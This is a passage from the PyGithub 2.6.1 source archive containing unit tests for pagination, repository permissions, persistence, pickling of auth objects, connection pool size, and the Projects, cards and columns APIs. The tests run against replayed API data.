is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from github.PaginatedList import PaginatedList as PaginatedListImpl from . import Framework class PaginatedList(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_user("openframeworks").get_repo("openFrameworks") self.list = self.repo.get_issues() self.licenses = self.g.get_enterprise("beaver-group").get_consumed_licenses() def testIsApiType(self): self.assertTrue(self.list.is_rest) self.assertFalse(self.list.is_graphql) def testIteration(self): self.assertEqual(len(list(self.list)), 333) def testIterationWithPrefetchedFirstPage(self): # test data taken from EnterpriseAdmin.testGetEnterpriseUsers users = self.licenses.get_users() self.assertEqual(len(list(users)), 102) self.assertEqual(len({user.github_com_login for user in users}), 102) def testSeveralIterations(self): self.assertEqual(len(list(self.list)), 333) self.assertEqual(len(list(self.list)), 333) self.assertEqual(len(list(self.list)), 333) self.assertEqual(len(list(self.list)), 333) def testIntIndexingInFirstPage(self): self.assertEqual(self.list[0].id, 4772349) self.assertEqual(self.list[24].id, 4286936) def testReversedIterationWithSinglePage(self): r = self.list.reversed self.assertEqual(r[0].id, 4286936) self.assertEqual(r[1].id, 4317009) def testReversedIterationWithMultiplePages(self): r = self.list.reversed self.assertEqual(r[0].id, 94898) self.assertEqual(r[1].id, 104702) self.assertEqual(r[13].id, 166211) self.assertEqual(r[14].id, 166212) self.assertEqual(r[15].id, 166214) def testReversedIterationSupportsIterator(self): r = self.list.reversed for i in r: self.assertEqual(i.id, 4286936) return self.fail("empty iterator") def testGettingTheReversedListDoesNotModifyTheOriginalList(self): self.assertEqual(self.list[0].id, 18345408) self.assertEqual(self.list[30].id, 17916118) r = self.list.reversed self.assertEqual(self.list[0].id, 18345408) self.assertEqual(self.list[30].id, 17916118) self.assertEqual(r[0].id, 132373) self.assertEqual(r[30].id, 543694) def testIntIndexingInThirdPage(self): self.assertEqual(self.list[50].id, 3911629) self.assertEqual(self.list[74].id, 3605277) def testGetFirstPage(self): self.assertListKeyEqual( self.list.get_page(0), lambda i: i.id, [ 4772349, 4767675, 4758608, 4700182, 4662873, 4608132, 4604661, 4588997, 4557803, 4554058, 4539985, 4507572, 4507492, 4507416, 4447561, 4406584, 4384548, 4383465, 4373361, 4373201, 4370619, 4356530, 4352401, 4317009, 4286936, ], ) def testGetThirdPage(self): self.assertListKeyEqual( self.list.get_page(2), lambda i: i.id, [ 3911629, 3911537, 3910580, 3910555, 3910549, 3897090, 3883598, 3856005, 3850655, 3825582, 3813852, 3812318, 3812275, 3807459, 3799872, 3799653, 3795495, 3754055, 3710293, 3662214, 3647640, 3631618, 3627067, 3614231, 3605277, ], ) def testIntIndexingAfterIteration(self): self.assertEqual(len(list(self.list)), 333) self.assertEqual(self.list[11].id, 4507572) self.assertEqual(self.list[73].id, 3614231) self.assertEqual(self.list[332].id, 94898) def testSliceIndexingInFirstPage(self): self.assertListKeyEqual( self.list[:13], lambda i: i.id, [ 4772349, 4767675, 4758608, 4700182, 4662873, 4608132, 4604661, 4588997, 4557803, 4554058, 4539985, 4507572, 4507492, ], ) self.assertListKeyEqual( self.list[:13:3], lambda i: i.id, [4772349, 4700182, 4604661, 4554058, 4507492], ) self.assertListKeyEqual(self.list[10:13], lambda i: i.id, [4539985, 4507572, 4507492]) self.assertListKeyEqual(self.list[5:13:3], lambda i: i.id, [4608132, 4557803, 4507572]) def testSliceIndexingUntilFourthPage(self): self.assertListKeyEqual( self.list[:99:10], lambda i: i.id, [ 4772349, 4539985, 4370619, 4207350, 4063366, 3911629, 3813852, 3647640, 3528378, 3438233, ], ) self.assertListKeyEqual( self.list[73:78], lambda i: i.id, [3614231, 3605277, 3596240, 3594731, 3593619], ) self.assertListKeyEqual( self.list[70:80:2], lambda i: i.id, [3647640, 3627067, 3605277, 3594731, 3593430], ) def testSliceIndexingUntilEnd(self): self.assertListKeyEqual( self.list[310::3], lambda i: i.id, [268332, 204247, 169176, 166211, 165898, 163959, 132373, 104702], ) self.assertListKeyEqual( self.list[310:], lambda i: i.id, [ 268332, 211418, 205935, 204247, 172424, 171615, 169176, 166214, 166212, 166211, 166209, 166208, 165898, 165537, 165409, 163959, 132671, 132377, 132373, 130269, 111018, 104702, 94898, ], ) def testInterruptedIteration(self): # No asserts, but checks that only three pages are fetched count = 0 for element in self.list: # pragma no branch (exits only by break) count += 1 if count == 75: break def testInterruptedIterationInSlice(self): # No asserts, but checks that only three pages are fetched count = 0 # pragma no branch (exits only by break) for element in self.list[:100]: count += 1 if count == 75: break def testTotalCountWithNoLastPage(self): # Fudged replay data, we don't need the data, only the headers repos = self.g.get_repos() self.assertEqual(0, repos.totalCount) def testTotalCountWithDictionary(self): # PullRequest.get_review_requests() actually returns a dictionary that # we fudge into two lists, which means data is a dict, not a list. # We should check the member, not data itself for totalCount. pr = self.g.get_repo("PyGithub/PyGithub").get_pull(2078) review_requests = pr.get_review_requests() self.assertEqual(review_requests[0].totalCount, 0) self.assertEqual(review_requests[1].totalCount, 0) def testCustomPerPage(self): self.assertEqual(self.g.per_page, 30) self.g.per_page = 100 self.assertEqual(self.g.per_page, 100) self.assertEqual(len(list(self.repo.get_issues())), 456) def testCustomPerPageWithNoUrlParams(self): from . import ( # Don't pollute github.tests namespace, it would conflict with github.tests.CommitComment CommitComment, ) self.g.per_page = 100 PaginatedListImpl( CommitComment.CommitComment, self.repo._requester, f"{self.repo.url}/comments", None, ) def testCustomPerPageWithNoUrlParams2(self): # This test is redundant and less unitary than testCustomPerPageWithNoUrlParams # but I hope it will be more robust if we refactor PaginatedList, # because testCustomPerPageWithNoUrlParams only tests the constructor self.g.per_page = 100 self.assertEqual(len(list(self.repo.get_comments())), 325) def testCustomPerPageWithGetPage(self): self.g.per_page = 100 self.assertEqual(len(self.repo.get_issues().get_page(2)), 100) def testCustomPerPageIteration(self): self.g.per_page = 3 repo = self.g.get_repo("PyGithub/PyGithub") comments = repo.get_issue(1136).get_comments() self.assertEqual( [ datetime(2019, 8, 10, 18, 16, 46, tzinfo=timezone.utc), datetime(2024, 1, 6, 16, 4, 34, tzinfo=timezone.utc), datetime(2024, 1, 6, 17, 34, 11, tzinfo=timezone.utc), datetime(2024, 3, 20, 15, 24, 15, tzinfo=timezone.utc), datetime(2024, 3, 21, 10, 55, 14, tzinfo=timezone.utc), datetime(2024, 3, 21, 14, 2, 22, tzinfo=timezone.utc), datetime(2024, 3, 24, 13, 58, 57, tzinfo=timezone.utc), ], [comment.created_at for comment in comments], ) def testCustomPerPageReversedIteration(self): self.g.per_page = 3 repo = self.g.get_repo("PyGithub/PyGithub") comments = repo.get_issue(1136).get_comments().reversed self.assertEqual( [ datetime(2024, 3, 24, 13, 58, 57, tzinfo=timezone.utc), datetime(2024, 3, 21, 14, 2, 22, tzinfo=timezone.utc), datetime(2024, 3, 21, 10, 55, 14, tzinfo=timezone.utc), datetime(2024, 3, 20, 15, 24, 15, tzinfo=timezone.utc), datetime(2024, 1, 6, 17, 34, 11, tzinfo=timezone.utc), datetime(2024, 1, 6, 16, 4, 34, tzinfo=timezone.utc), datetime(2019, 8, 10, 18, 16, 46, tzinfo=timezone.utc), ], [comment.created_at for comment in comments], ) def testNoFirstPage(self): self.assertFalse(next(iter(self.list), None)) def testMergeDicts(self): self.assertDictEqual( PaginatedListImpl.merge_dicts( {"a": 1, "b": 2, "c": 3}, {"c": 4, "d": 5, "e": 6}, ), {"a": 1, "b": 2, "c": 4, "d": 5, "e": 6}, ) def testOverrideAttributes(self): input_dict = {"a": 1, "b": 2, "c": 3} overrides_dict = {"c": 4, "d": 5, "e": 6} transformer = PaginatedListImpl.override_attributes(overrides_dict) self.assertDictEqual(transformer(input_dict), {"a": 1, "b": 2, "c": 4, "d": 5, "e": 6}) def testGraphQlPagination(self): repo = self.g.get_repo("PyGithub/PyGithub") discussions = repo.get_discussions("id number") self.assertFalse(discussions.is_rest) self.assertTrue(discussions.is_graphql) rev = discussions.reversed discussions_list = list(discussions) self.assertEqual(discussions.totalCount, 65) self.assertEqual(len(discussions_list), 65) self.assertEqual(discussions_list[0].number, 3044) self.assertEqual(discussions_list[-1].number, 1780) reversed_list = list(rev) self.assertEqual(rev.totalCount, 65) self.assertEqual(len(reversed_list), 65) self.assertListEqual([d.number for d in reversed_list], [d.number for d in reversed(discussions_list)]) # accessing totalCount before iterating the PaginatedList triggers another request self.assertEqual(repo.get_discussions("id number").totalCount, 65) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Permissions.py0000644000175100001660000000705514756101563017024 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2021 karsten-wagner <39054096+karsten-wagner@users.noreply.github.com># # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Permissions(Framework.TestCase): def setUp(self): super().setUp() self.userRepo = self.g.get_repo("PyGithub/PyGithub") def testUserRepoPermissionAttributes(self): self.assertFalse(self.userRepo.permissions.admin) # Attribute is not present for users (only for teams) self.assertIs(self.userRepo.permissions.maintain, None) self.assertTrue(self.userRepo.permissions.pull) self.assertFalse(self.userRepo.permissions.push) # Attribute is not present for users (only for teams) self.assertIs(self.userRepo.permissions.triage, None) def testUserRepoPermissionRepresentation(self): self.assertEqual( repr(self.userRepo.permissions), "Permissions(triage=None, push=False, pull=True, maintain=None, admin=False)", ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Persistence.py0000644000175100001660000000677114756101563017001 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2017 Hugo # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from io import BytesIO as IO import github from . import Framework class Persistence(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("akfish/PyGithub") self.dumpedRepo = IO() self.g.dump(self.repo, self.dumpedRepo) self.dumpedRepo.seek(0) def tearDown(self): self.dumpedRepo.close() super().tearDown() def testLoad(self): loadedRepo = self.g.load(self.dumpedRepo) self.assertTrue(isinstance(loadedRepo, github.Repository.Repository)) self.assertTrue(loadedRepo._requester is self.repo._requester) self.assertTrue(loadedRepo.owner._requester is self.repo._requester) self.assertEqual(loadedRepo.name, "PyGithub") self.assertEqual(loadedRepo.url, "https://api.github.com/repos/akfish/PyGithub") def testLoadAndUpdate(self): loadedRepo = self.g.load(self.dumpedRepo) self.assertTrue(loadedRepo.update()) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Pickle.py0000644000175100001660000001070114756101563015710 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # Copyright 2023 Hemslo Wang # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import inspect import pickle import sys from abc import ABC import github from github.Auth import AppAuth, AppAuthToken, AppInstallationAuth, AppUserAuth, Auth, Login, NetrcAuth, Token from github.PaginatedList import PaginatedList from github.Repository import Repository from . import Framework REPO_NAME = "PyGithub/PyGithub" class Pickle(Framework.TestCase): def testPickleGithub(self): gh = github.Github() gh2 = pickle.loads(pickle.dumps(gh)) self.assertIsInstance(gh2, github.Github) self.assertIsNotNone(gh2._Github__requester._Requester__connection_lock) self.assertIsNone(gh2._Github__requester._Requester__connection) self.assertEqual(len(gh2._Github__requester._Requester__custom_connections), 0) def testPickleRepository(self): gh = github.Github(lazy=True) repo = gh.get_repo(REPO_NAME) repo2 = pickle.loads(pickle.dumps(repo)) self.assertIsInstance(repo2, Repository) self.assertIsNotNone(repo2._requester._Requester__connection_lock) self.assertIsNone(repo2._requester._Requester__connection) self.assertEqual(len(repo2._requester._Requester__custom_connections), 0) def testPicklePaginatedList(self): gh = github.Github() repo = gh.get_repo(REPO_NAME, lazy=True) branches = repo.get_branches() branches2 = pickle.loads(pickle.dumps(branches)) self.assertIsInstance(branches2, PaginatedList) auths = [ Login("login", "password"), Token("token"), AppAuth("id", "key"), AppAuthToken("token"), AppInstallationAuth(AppAuth("id", "key"), 123), AppUserAuth("client_id", "client_secret", "access_token"), NetrcAuth(), ] def testPickleAuthSetup(self): # check we are testing *all* exiting auth classes auth_module = sys.modules[github.Auth.__name__] existing_auths = [ clazz_type.__name__ for clazz, clazz_type in inspect.getmembers(auth_module, inspect.isclass) if Auth in clazz_type.mro() and ABC not in clazz_type.__bases__ ] tested_auths = [type(auth).__name__ for auth in self.auths] self.assertSequenceEqual(sorted(existing_auths), sorted(tested_auths)) def testPickleAuth(self): for auth in self.auths: with self.subTest(auth=type(auth).__name__): auth2 = pickle.loads(pickle.dumps(auth)) self.assertIsInstance(auth2, type(auth)) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PoolSize.py0000644000175100001660000000501414756101563016246 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2021 Amador Pahim # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import github from . import Framework REPO_NAME = "PyGithub/PyGithub" class PoolSize(Framework.TestCase): def setUp(self): Framework.setPoolSize(20) super().setUp() def testReturnsRepoAfterSettingPoolSize(self): repository = self.g.get_repo(REPO_NAME) self.assertIsInstance(repository, github.Repository.Repository) self.assertEqual(repository.full_name, REPO_NAME) def testReturnsRepoAfterSettingPoolSizeHttp(self): g = github.Github( auth=self.login, base_url="http://my.enterprise.com", pool_size=20, ) repository = g.get_repo(REPO_NAME) self.assertIsInstance(repository, github.Repository.Repository) self.assertEqual(repository.full_name, REPO_NAME) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Project.py0000644000175100001660000001100214756101563016102 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2018 Benoit Latinier # # Copyright 2018 Yossarian King # # Copyright 2019 Benoit Latinier # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Jody McIntyre # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class Project(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_user().get_repo("PyGithub") self.proj = self.g.get_project(1682941) # See https://developer.github.com/v3/projects/#get-a-project def testAttributes(self): self.assertEqual(self.proj.body, "To be used for testing project access API for PyGithub.") self.assertEqual(self.proj.columns_url, "https://api.github.com/projects/1682941/columns") self.assertEqual(self.proj.created_at, datetime(2018, 8, 1, 4, 6, 57, tzinfo=timezone.utc)) self.assertEqual(self.proj.creator.login, "bbi-yggy") self.assertEqual(self.proj.html_url, "https://github.com/bbi-yggy/PyGithub/projects/1") self.assertEqual(self.proj.id, 1682941) self.assertEqual(self.proj.name, "TestProject") self.assertEqual(repr(self.proj), 'Project(name="TestProject")') self.assertEqual(self.proj.node_id, "MDc6UHJvamVjdDE2ODI5NDE=") self.assertEqual(self.proj.number, 1) self.assertIsNone(self.proj.organization_permission) self.assertEqual(self.proj.owner_url, "https://api.github.com/repos/bbi-yggy/PyGithub") self.assertIsNone(self.proj.private) self.assertEqual(self.proj.state, "open") self.assertEqual(self.proj.updated_at, datetime(2018, 8, 3, 0, 31, 17, tzinfo=timezone.utc)) self.assertEqual(self.proj.url, "https://api.github.com/projects/1682941") def testGetOrganizationProjects(self): expectedProjects = ["Project1", "Project2", "Project3"] org = self.g.get_organization("PyGithubTestOrg") projects = [proj.name for proj in org.get_projects("open")] self.assertEqual(projects, expectedProjects) def testGetRepositoryProjects(self): expectedProjects = ["TestProject", "TestProjectClosed"] projects = [proj.name for proj in self.repo.get_projects("all")] self.assertEqual(projects, expectedProjects) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Project1434.py0000644000175100001660000000704314756101563016430 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Matthew Neal # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Anuj Bansal # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Project1434(Framework.TestCase): def setUp(self): super().setUp() def testDelete(self): project = self.g.get_project(4102095) project.delete() def testEditWithoutParameters(self): project = self.g.get_project(4101939) old_name = project.name project.edit() self.assertEqual(project.name, old_name) def testEditWithAllParameters(self): project = self.g.get_project(4101939) project.edit("New Name", "New Body", "open") self.assertEqual(project.name, "New Name") self.assertEqual(project.body, "New Body") self.assertEqual(project.state, "open") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ProjectCard.py0000644000175100001660000001306414756101563016706 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import github from . import Framework class ProjectCard(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_user().get_repo("PyGithub") self.proj = self.g.get_project(1682941) self.cols = self.proj.get_columns() self.col = self.cols[1] cards = self.col.get_cards() self.pull_card = cards[0] self.issue_card = cards[1] self.note_card = cards[2] self.edit_col = self.g.get_project(4015343).get_columns()[0] # See https://developer.github.com/v3/projects/cards/#get-a-project-card def testAttributes(self): card = self.pull_card self.assertEqual(card.url, "https://api.github.com/projects/columns/cards/11780055") self.assertEqual(card.column_url, "https://api.github.com/projects/columns/3138831") self.assertEqual(card.content_url, "https://api.github.com/repos/bbi-yggy/PyGithub/issues/1") self.assertEqual(card.id, 11780055) self.assertEqual(card.node_id, "MDExOlByb2plY3RDYXJkMTE3ODAwNTU=") self.assertEqual(card.note, None) # No notes for cards with content. self.assertEqual(card.creator, self.repo.owner) self.assertEqual(card.created_at.year, 2018) self.assertTrue(card.updated_at >= card.created_at) self.assertFalse(card.archived) self.assertEqual(repr(card), "ProjectCard(id=11780055)") def testGetContent(self): pull = self.pull_card.get_content("PullRequest") self.assertIsInstance(pull, github.PullRequest.PullRequest) self.assertEqual(pull.title, "Work in progress on support for GitHub projects API.") self.assertRaises(ValueError, self.pull_card.get_content, "foo") issue = self.issue_card.get_content() self.assertIsInstance(issue, github.Issue.Issue) self.assertEqual(issue.title, "Test issue") note_content = self.note_card.get_content() self.assertEqual(note_content, None) def testMove(self): cols = self.cols card = self.pull_card self.assertTrue(card.move("top", cols[2].id)) self.assertTrue(card.move("bottom", cols[1])) def testDelete(self): card = self.pull_card self.assertTrue(card.delete()) def testGetAll(self): expectedProjects = ["TestProject"] expectedCards = 5 projects = [] cards = 0 for proj in self.repo.get_projects(): projects.append(proj.name) for col in proj.get_columns(): for card in col.get_cards("all"): cards += 1 self.assertEqual(projects, expectedProjects) self.assertEqual(cards, expectedCards) def testCreateWithNote(self): project = self.repo.create_project("Project created by PyGithub", "Project Body") column = project.create_column( "Project Column created by PyGithub", ) card1 = column.create_card(note="Project Card") self.assertEqual(card1.id, 16039019) def testCreateFromIssue(self): project = self.repo.create_project("Project created by PyGithub", "Project Body") column = project.create_column( "Project Column created by PyGithub", ) issue = self.repo.create_issue(title="Issue created by PyGithub") card2 = column.create_card(content_id=issue.id, content_type="Issue") self.assertEqual(card2.id, 16039106) def testEditWithoutParameters(self): card = self.edit_col.create_card(note="Project Card") card.edit() def testEditNote(self): card = self.edit_col.create_card(note="Project Card") card.edit(note="Edited Card") self.assertEqual(card.note, "Edited Card") def testEditArchived(self): card = self.edit_col.create_card(note="Project Card") card.edit(archived=True) self.assertEqual(card.archived, True) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ProjectColumn.py0000644000175100001660000001504114756101563017267 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2020 Florent Clarret # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from . import Framework class ProjectColumn(Framework.TestCase): def setUp(self): super().setUp() self.get_project_column = self.g.get_project_column(8700460) self.move_project_column = self.g.get_project_column(8748065) proj = self.g.get_project(1682941) self.col = proj.get_columns()[0] # See https://developer.github.com/v3/projects/columns/#get-a-project-column def testAttributes(self): col = self.col self.assertEqual(col.id, 3138830) self.assertEqual(col.node_id, "MDEzOlByb2plY3RDb2x1bW4zMTM4ODMw") self.assertEqual(col.name, "To Do") self.assertEqual(col.url, "https://api.github.com/projects/columns/3138830") self.assertEqual(col.project_url, "https://api.github.com/projects/1682941") self.assertEqual(col.cards_url, "https://api.github.com/projects/columns/3138830/cards") self.assertEqual(col.created_at.year, 2018) self.assertTrue(col.updated_at >= col.created_at) self.assertEqual(repr(col), 'ProjectColumn(name="To Do")') def testCreate(self): repo = self.g.get_user().get_repo("PyGithub") project = repo.create_project("Project created by PyGithub", "Project Body") column = project.create_column( "Project Column created by PyGithub", ) self.assertEqual(column.id, 3999333) def testGetProjectColumn(self): self.assertEqual(self.get_project_column.id, 8700460) self.assertEqual(self.get_project_column.name, "c1") self.assertEqual( self.get_project_column.cards_url, "https://api.github.com/projects/columns/8700460/cards", ) self.assertEqual(self.get_project_column.node_id, "MDEzOlByb2plY3RDb2x1bW44NzAwNDYw") self.assertEqual( self.get_project_column.project_url, "https://api.github.com/projects/4294766", ) self.assertEqual( self.get_project_column.url, "https://api.github.com/projects/columns/8700460", ) self.assertEqual( self.get_project_column.created_at, datetime(2020, 4, 13, 20, 29, 53, tzinfo=timezone.utc), ) self.assertEqual( self.get_project_column.updated_at, datetime(2020, 4, 14, 18, 9, 38, tzinfo=timezone.utc), ) def testGetAllCards(self): cards = self.get_project_column.get_cards(archived_state="all") self.assertEqual(cards.totalCount, 3) self.assertEqual(cards[0].id, 36285184) self.assertEqual(cards[0].note, "Note3") self.assertEqual(cards[1].id, 36281526) self.assertEqual(cards[1].note, "Note2") self.assertEqual(cards[2].id, 36281516) self.assertEqual(cards[2].note, "Note1") def testGetArchivedCards(self): cards = self.get_project_column.get_cards(archived_state="archived") self.assertEqual(cards.totalCount, 1) self.assertEqual(cards[0].id, 36281516) self.assertEqual(cards[0].note, "Note1") def testGetNotArchivedCards(self): cards = self.get_project_column.get_cards(archived_state="not_archived") self.assertEqual(cards.totalCount, 2) self.assertEqual(cards[0].id, 36285184) self.assertEqual(cards[0].note, "Note3") self.assertEqual(cards[1].id, 36281526) self.assertEqual(cards[1].note, "Note2") def testGetCards(self): cards = self.get_project_column.get_cards() self.assertEqual(cards.totalCount, 2) self.assertEqual(cards[0].id, 36285184) self.assertEqual(cards[0].note, "Note3") self.assertEqual(cards[1].id, 36281526) self.assertEqual(cards[1].note, "Note2") def testCreateCard(self): new_card = self.get_project_column.create_card(note="NewCard") self.assertEqual(new_card.id, 36290228) self.assertEqual(new_card.note, "NewCard") def testDelete(self): project_column = self.g.get_project_column(8747987) self.assertTrue(project_column.delete()) def testEdit(self): self.move_project_column.edit("newTestColumn") self.assertEqual(self.move_project_column.id, 8748065) self.assertEqual(self.move_project_column.name, "newTestColumn") def testMoveFirst(self): self.assertTrue(self.move_project_column.move(position="first")) def testMoveLast(self): self.assertTrue(self.move_project_column.move(position="last")) def testMoveAfter(self): self.assertTrue(self.move_project_column.move(position="after:8700460")) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PublicKey.py0000644000175100001660000001017314756101563016373 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Alice GIRARD # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 